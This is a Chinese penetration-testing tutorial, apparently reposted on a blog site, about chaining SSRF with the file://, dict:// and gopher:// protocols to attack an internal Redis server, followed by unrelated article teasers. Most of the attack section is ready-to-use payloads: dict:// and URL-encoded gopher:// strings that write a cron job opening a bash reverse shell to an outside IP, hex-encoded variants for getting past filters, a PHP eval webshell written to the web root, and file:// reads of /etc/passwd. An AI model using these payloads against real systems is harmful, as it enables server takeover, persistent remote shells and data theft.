Web渗透测试之伪协议与SSRF服务器请求伪装结合? 能产生更多的效果

目录

ssrf漏洞利用{危害}

伪协议介绍

Gopher协议简介

SSRF攻击中常用协议

file协议

file协议数据格式:

dict协议

dict协议数据格式:

Gopher攻击Redis

redis的协议数据流格式:

简单示例:

使用gopher协议写入定时任务

代码的redis格式

 gopher协议数据流将代码写入redis中,再利用linux监听

 Gopherus工具构造gopher协议数据流


ssrf漏洞利用{危害}

  1. 可以对外网服务器所在的内网进行端口扫描,获取一些服务的banner信息mysql5.5.53

  2. 有时候还可以攻击运行在内网或本地的应用程序; 内网中其它的主机 比如通过ssrf给内网的redis写定时任务,实现反弹shell;

  3. 对内网web应用进行指纹识别;

  4. 攻击内外网的web应用,比如struts2,sql注入等;

  5. 利用file协议读取本地文件等;

  6. 各种伪协议进行探测:http,file,dict,ftp,gopher等 伪协议;


伪协议介绍

    • http:// 主要用于探测主机存活和端口的开放情况

    • file:/// 从文件系统中获取文件内容,如,file:///etc/passwd

    • dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info

    • gopher:// 分布式文档传递服务,可使用gopherus生成payload

    • ftp://针对21端口的探测

    • sftp://SSH文件传输协议或安全文件传输协议

    • ldap:// 轻量级目录访问协议 windows域控


Gopher协议简介

  • Gopher定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。
    • 在WWW出现之前,Gopher是Internet上最主要的信息检索工具
    • Gopher站点也是最主要的站点,使用tcp70端口。
    • 但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
  • gopher支持发出GET、POST请求。
    • 可以先截获get请求包和post请求包
    • 再构造成符合gopher协议的请求,gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)

SSRF攻击中常用协议

file协议

  • file协议主要用于读取服务器本地文件,访问本地的静态资源

file协议数据格式:

  • file://文件绝对路径名
file:///etc/passwd
file:///var/www/html/index.php
file:///usr/local/apache-tomcat/conf/server.xml

dict协议

  • dict协议一般常用来探测内网主机以及端口开放情况,既然能够探测端口,那么可以探测不同端口对应的服务的指纹信息
  • 当然dict协议也可以用来执行一些服务的命令
    • 如redis:
      • 内网主机探测
      • 开放端口探测
      • 端口服务指纹探测
      • 执行命令
  • 注意:dict执行命令多行操作的命令时,只能一次执行单行,需分多次执行。

dict协议数据格式:

ditc://ip:port/命令

一、dict协议探测端口和服务指纹
dict://127.0.0.1:22
dict://172.22.10.10:3306
dict://127.0.0.1:6379/info二、dict协议攻击redis,写入定时任务,进行反弹shell
centos系统定时任务的路径为:/var/spool/cron
debian系统定时任务的路径为:/var/spool/cron/crontabsdict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"
dict://127.0.0.1:6379/save注意:若payload存在被转义或过滤的情况,可利用16进制写入内容
dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"三、dict协议攻击redis,写入webshell
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[x]);?>\n\n"
dict://127.0.0.1:6379/save若存在过滤, 则利用16进制内容写入:
dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"四、dict协议攻击redis,写入ssh公钥
操作和写入定时任务相似

Gopher攻击Redis

redis的协议数据流格式:

  • 数据流格式中CR LF表示的就是\r \n
*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF

简单示例:

  • *4:表示4个参数 config、set、dir、/var/www/html
  • $6:表示每个参数的字节长度 config长度为6
*4
$6
config
$3
set
$3
dir
$13
/var/www/html

使用gopher协议写入定时任务

set ttt "\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1\n\n\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
quite

代码的redis格式

*3
$3
set
$3
ttt
$69*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit

 gopher协议数据流将代码写入redis中,再利用linux监听

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0attt%0d%0a$69%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/7777 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

 Gopherus工具构造gopher协议数据流

  • 使用gopherus这款工具进行自动化生成payload。该工具支持生成多种服务利用的payload,其中包括了redis、mysql、fastcgi等
  • root用户执行的就会在/var/spool/cron/下面创建root文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/3263.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【论文阅读笔记】人工智能胃镜在盲区检测和自主采图中的应用

作者&#xff1a;李夏/吴练练/于红刚 小结 盲区检测的意思&#xff0c;实际上在算法的需求定义上&#xff0c;就是部位识别。   胃肠镜检查中&#xff0c;按照不同的规范&#xff0c;有不同应该观察到的地方。当医生知道哪些部位比较容易出病灶的情况下&#xff0c;就容易忽…

python之二维几何学习笔记

一、概要 资料来源《机械工程师Python编程&#xff1a;入门、实战与进阶》安琪儿索拉奥尔巴塞塔 2024年6月 点和向量&#xff1a;向量的缩放、范数、点乘、叉乘、旋转、平行、垂直、夹角直线和线段&#xff1a;线段中点、离线段最近的点、线段的交点、直线交点、线段的垂直平…

AI编程工具使用技巧——通义灵码

活动介绍通义灵码1. 理解通义灵码的基本概念示例代码生成 2. 使用明确的描述示例代码生成 3. 巧妙使用注释示例代码生成 4. 注意迭代与反馈原始代码反馈后生成优化代码 5. 结合生成的代码进行调试示例测试代码 其他功能定期优化生成的代码合作与分享结合其他工具 总结 活动介绍…

国产编辑器EverEdit - 复制为RTF

1 复制为RTF 1.1 应用背景 在写产品手册或者其他文档时&#xff0c;可能会用到要将产品代码以样例的形式放到文档中&#xff0c;一般的文本编辑器拷贝粘贴到Word中也就是普通文本&#xff0c;没有语法着色&#xff0c;这样感观上不是太好&#xff0c;为了让读者的感观更好一点…

Python毕业设计选题:基于python的酒店推荐系统_django+hadoop

开发语言&#xff1a;Python框架&#xff1a;djangoPython版本&#xff1a;python3.7.7数据库&#xff1a;mysql 5.7数据库工具&#xff1a;Navicat11开发软件&#xff1a;PyCharm 系统展示 管理员登录 管理员功能界面 用户管理 酒店客房管理 客房类型管理 客房预定管理 用户…

YoloV10改进策略:Neck层改进|EFC,北理提出的适用小目标的特征融合模块|即插即用

论文信息 论文题目:A Lightweight Fusion Strategy With Enhanced Interlayer Feature Correlation for Small Object Detection 论文链接:https://ieeexplore.ieee.org/abstract/document/10671587 官方github:https://github.com/nuliweixiao/EFC 研究贡献 为了解决上…

Re78 读论文:GPT-4 Technical Report

诸神缄默不语-个人CSDN博文目录 诸神缄默不语的论文阅读笔记和分类 论文全名&#xff1a;GPT-4 Technical Report 官方博客&#xff1a;GPT-4 | OpenAI appendix懒得看了。 文章目录 1. 模型训练过程心得2. scaling law3. 实验结果减少风险 1. 模型训练过程心得 模型结构还…

Linux中安装mysql8,很详细

一、查看系统glibc版本号&#xff0c;下载对应版本的MySQL 1、查看glibc版本号办法 方法一&#xff1a;使用ldd命令 在终端中输入ldd --version命令&#xff0c;然后按下回车键。这个命令会显示系统中安装的glibc版本号。例如&#xff0c;如果输出信息是ldd (GNU libc) 2.31&a…

springboot如何解析 Map 的泛型信息来确定要注入哪些 Bean?

我在学习策略模式的时候, 发现当SpringBoot注入一个Map的时候 &#xff0c;value泛型为T&#xff0c;则注入后Spring会将实例化后的bean放入value &#xff0c;key则为注入后bean的名字 Springboot如何解析Map中的Value Spring 通过解析 Map 的泛型信息来确定要注入哪些 Bean…

【NextJS】PostgreSQL 遇上 Prisma ORM

NextJS 数据库 之 遇上Prisma ORM 前言一、环境要求二、概念介绍1、Prisma Schema Language&#xff08;PSL&#xff09; 结构描述语言1.1 概念1.2 组成1.2.1 Data Source 数据源1.2.2 Generators 生成器1.2.3 Data Model Definition 数据模型定义字段(数据)类型和约束关系&…

一些常见的Java面试题及其答案

Java基础 1. Java中的基本数据类型有哪些&#xff1f; 答案&#xff1a;Java中的基本数据类型包括整数类型&#xff08;byte、short、int、long&#xff09;、浮点类型&#xff08;float、double&#xff09;、字符类型&#xff08;char&#xff09;和布尔类型&#xff08;boo…

Vue2+OpenLayers实现折线绘制功能(提供Gitee源码)

目录 一、案例截图 二、安装OpenLayers库 三、代码实现 3.1、初始变量 3.2、画一条折线 3.3、完整代码 四、Gitee源码 一、案例截图 二、安装OpenLayers库 npm install ol 三、代码实现 3.1、初始变量 关键代码&#xff1a; data() {return {map:null,// 定义路径坐…

【狂热算法篇】探秘图论之 Floyd 算法:解锁最短路径的神秘密码(通俗易懂版)

&#xff1a; 羑悻的小杀马特.-CSDN博客羑悻的小杀马特.擅长C/C题海汇总,AI学习,c的不归之路,等方面的知识,羑悻的小杀马特.关注算法,c,c语言,青少年编程领域.https://blog.csdn.net/2401_82648291?spm1010.2135.3001.5343 在本篇文章中&#xff0c;博主将带大家去学习所谓的…

【服务治理中间件】consul介绍和基本原理

目录 一、CAP定理 二、服务注册中心产品比较 三、Consul概述 3.1 什么是Consul 3.2 Consul架构 3.3 Consul的使用场景 3.4 Consul健康检查 四、部署consul集群 4.1 服务器部署规划 4.2 下载解压 4.3 启动consul 五、服务注册到consul 一、CAP定理 CAP定理&#xff…

Linux命令行工具-使用方法

参考资料 Linux网络命令&#xff1a;网络工具socat详解-CSDN博客 arm-linux-gnueabihf、aarch64-linux-gnu等ARM交叉编译GCC的区别_aarch64-elf-gcc aarch64-linux-gnu-CSDN博客 解决Linux内核问题实用技巧之-dev/mem的新玩法-腾讯云开发者社区-腾讯云 热爱学习地派大星-CS…

5-1 创建和打包AXI Interface IP

创建和打包AXI Interface IP的前流程和后流程 step 1 &#xff1a; 选择类型 1&#xff1a; 将当前的工程打包成IP 2&#xff1a; 将当前的BD工程打包成IP 3&#xff1a; 将指定的源码打包成IP 4&#xff1a; 创建一个新的AXI 接口IP 其中3和4是比较常用的&#xff0c;本次…

贪心算法(题1)区间选点

输出 2 #include <iostream> #include<algorithm>using namespace std;const int N 100010 ;int n; struct Range {int l,r;bool operator <(const Range &W)const{return r<W.r;} }range[N];int main() {scanf("%d",&n);for(int i0;i&l…

攻防世界 unseping

开启场景 整体来说是创建了一个case类&#xff0c;然后可接受post传来的ctf的值&#xff0c;并对其进行base64解码以及反序列化。所以我们能控制ctf变量。 先看__wakeup方法&#xff0c;该方法使用waf方法对$arg中的内容进行了防护&#xff0c;过滤掉了| & ; 空格 / cat f…

光伏储能电解水制氢仿真模型Matlab/Simulink

今天更新的内容为光伏储能制氢技术&#xff0c;这个方向我之前在21年就系统研究并发表过相关文章&#xff0c;经过这几年的发展&#xff0c;绿色制氢技术也受到更多高校的注意&#xff0c;本篇博客也是在原先文章的基础上进行更新。 首先让大家熟悉一下绿氢制取技术这个概念&a…

java spring,uName,kValue,前端传值后端接不到

大神链接https://blog.csdn.net/qq_39327650/article/details/134419523本文是参考上述大神链接&#xff0c;自己写这个博客主要是给自己加深印象&#xff0c;大神链接里描述的很清晰&#xff0c;包括源码解析&#xff0c;详细描述参考大神。 由于springboot用的是jackson进行…